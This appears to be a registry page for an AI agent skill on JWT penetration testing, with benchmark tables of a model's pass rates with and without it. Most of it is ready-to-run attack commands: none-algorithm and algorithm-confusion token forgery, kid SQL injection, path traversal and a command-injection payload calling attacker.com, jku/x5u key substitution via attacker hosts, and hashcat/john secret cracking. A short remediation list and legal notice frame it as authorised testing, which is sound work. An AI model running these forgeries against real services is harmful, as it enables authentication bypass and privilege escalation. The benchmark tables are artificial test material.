Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Test JWT implementations for critical vulnerabilities including algorithm confusion, none algorithm bypass, kid parameter injection, and weak secret exploitation to achieve authentication bypass and privilege escalation.
.claude/skills/testing-for-json-web-token-vulnerabilities/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-07 | ✗→✓ | ▲ Improved | — | — |
| case-11 | ✗→✓ | ▲ Improved | — | — |
| case-21 | ✗→✓ | ▲ Improved | — | — |
| case-15 | ✗→✓ | ▲ Improved | — | — |
| case-16 | ✗→✓ | ▲ Improved | — | — |
> Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
bash# Install jwt_tool pip install pyjwt git clone https://github.com/ticarpi/jwt_tool.git # Decode JWT without verification python3 jwt_tool.py <JWT_TOKEN> # Decode manually with base64 echo "<header_base64>" | base64 -d echo "<payload_base64>" | base64 -d # Examine JWT in jwt.io # Check: algorithm (alg), key ID (kid), issuer (iss), audience (aud) # Check: expiration (exp), not-before (nbf), claims (role, admin, etc.) # Example JWT header inspection # {"alg":"RS256","typ":"JWT","kid":"key-1"} # Look for: alg, kid, jku, jwk, x5u, x5c headers
bash# Change algorithm to "none" and remove signature python3 jwt_tool.py <JWT_TOKEN> -X a # Manual none algorithm attack: # Original header: {"alg":"HS256","typ":"JWT"} # Modified header: {"alg":"none","typ":"JWT"} # Encode new header, keep payload, remove signature (empty string after last dot) # Variations to try: # "alg": "none" # "alg": "None" # "alg": "NONE" # "alg": "nOnE" # Send forged token curl -H "Authorization: Bearer <FORGED_TOKEN>" http://target.com/api/admin # jwt_tool automated none attack python3 jwt_tool.py <JWT_TOKEN> -X a -I -pc role -pv admin
bash# If server uses RS256, attempt to switch to HS256 using public key as HMAC secret # Step 1: Obtain the public key # From JWKS endpoint curl http://target.com/.well-known/jwks.json # From SSL certificate openssl s_client -connect target.com:443 </dev/null 2>/dev/null | \ openssl x509 -pubkey -noout > public_key.pem # Step 2: Forge token using public key as HMAC secret python3 jwt_tool.py <JWT_TOKEN> -X k -pk public_key.pem # Manual algorithm confusion: # Change header from {"alg":"RS256"} to {"alg":"HS256"} # Sign with public key using HMAC-SHA256 python3 -c " import jwt with open('public_key.pem', 'r') as f: public_key = f.read() payload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000} token = jwt.encode(payload, public_key, algorithm='HS256') print(token) "
bash# SQL Injection via kid python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "' UNION SELECT 'secret-key' FROM dual--" \ -S hs256 -p "secret-key" # Path Traversal via kid python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "../../dev/null" \ -S hs256 -p "" # Kid pointing to empty file (sign with empty string) python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "/dev/null" -S hs256 -p "" # SSRF via kid (if kid fetches remote key) python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "http://attacker.com/key" # Command injection via kid (rare but possible) python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "key1|curl attacker.com"
bash# JKU (JSON Web Key Set URL) injection # Point jku to attacker-controlled JWKS # Step 1: Generate key pair python3 jwt_tool.py <JWT_TOKEN> -X s # Step 2: Host JWKS on attacker server # jwt_tool generates jwks.json - host it at http://attacker.com/.well-known/jwks.json # Step 3: Modify JWT header to point to attacker JWKS python3 jwt_tool.py <JWT_TOKEN> -X s -ju "http://attacker.com/.well-known/jwks.json" # X5U (X.509 certificate URL) injection # Similar to JKU but using X.509 certificate chain python3 jwt_tool.py <JWT_TOKEN> -I -hc x5u -hv "http://attacker.com/cert.pem" # Embedded JWK attack (inject key in JWT header itself) python3 jwt_tool.py <JWT_TOKEN> -X i
bash# Brute-force HMAC secret with hashcat hashcat -a 0 -m 16500 <JWT_TOKEN> /usr/share/wordlists/rockyou.txt # Using jwt_tool wordlist attack python3 jwt_tool.py <JWT_TOKEN> -C -d /usr/share/wordlists/rockyou.txt # Using john the ripper echo "<JWT_TOKEN>" > jwt.txt john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256 # Common weak secrets to try: # secret, password, 123456, admin, test, key, jwt_secret # Also try: application name, company name, domain name # Once secret is found, forge arbitrary tokens python3 jwt_tool.py <JWT_TOKEN> -S hs256 -p "discovered_secret" \ -I -pc role -pv admin -pc sub -pv "admin@target.com"
| Concept | Description | |---------|-------------| | Algorithm Confusion | Switching from asymmetric (RS256) to symmetric (HS256) using public key as secret | | None Algorithm | Setting alg to "none" to create unsigned tokens accepted by misconfigured servers | | Kid Injection | Exploiting the Key ID header parameter for SQLi, path traversal, or SSRF | | JKU/X5U Injection | Pointing key source URLs to attacker-controlled servers for key substitution | | Weak Secret | HMAC secrets that can be brute-forced using dictionary attacks | | Claim Tampering | Modifying payload claims (role, sub, admin) after bypassing signature verification | | Token Replay | Reusing valid JWTs after the intended session should have expired |
| Tool | Purpose | |------|---------| | jwt_tool | Comprehensive JWT testing and exploitation toolkit | | JWT Editor (Burp) | Burp Suite extension for JWT manipulation and attack automation | | hashcat | GPU-accelerated JWT secret brute-forcing (mode 16500) | | john the ripper | CPU-based JWT secret cracking | | jwt.io | Online JWT decoder and debugger for inspection | | PyJWT | Python library for programmatic JWT creation and verification |
## JWT Security Assessment Report
- **Target**: http://target.com
- **JWT Algorithm**: RS256 (claimed)
- **JWKS Endpoint**: http://target.com/.well-known/jwks.json
### Findings
| # | Vulnerability | Technique | Impact | Severity |
|---|--------------|-----------|--------|----------|
| 1 | None algorithm accepted | alg: "none" | Auth bypass | Critical |
| 2 | Algorithm confusion | RS256 -> HS256 | Token forgery | Critical |
| 3 | Weak HMAC secret | Brute-force: "secret123" | Full token forgery | Critical |
| 4 | Kid path traversal | kid: "../../dev/null" | Sign with empty key | High |
### Remediation
- Enforce algorithm whitelist in JWT verification (reject "none")
- Use asymmetric algorithms (RS256/ES256) with proper key management
- Implement strong, random secrets for HMAC algorithms (256+ bits)
- Validate kid parameter against a strict allowlist
- Ignore jku/x5u headers or validate against known endpoints
- Set appropriate token expiration (exp) and implement token revocation| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-03 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-04 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-09 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-23 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-19 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-08 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-05 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-14 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 23 cases were attempted. The headline lift of +22 percentage points is the difference between those two pass rates over the 23 comparable cases.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.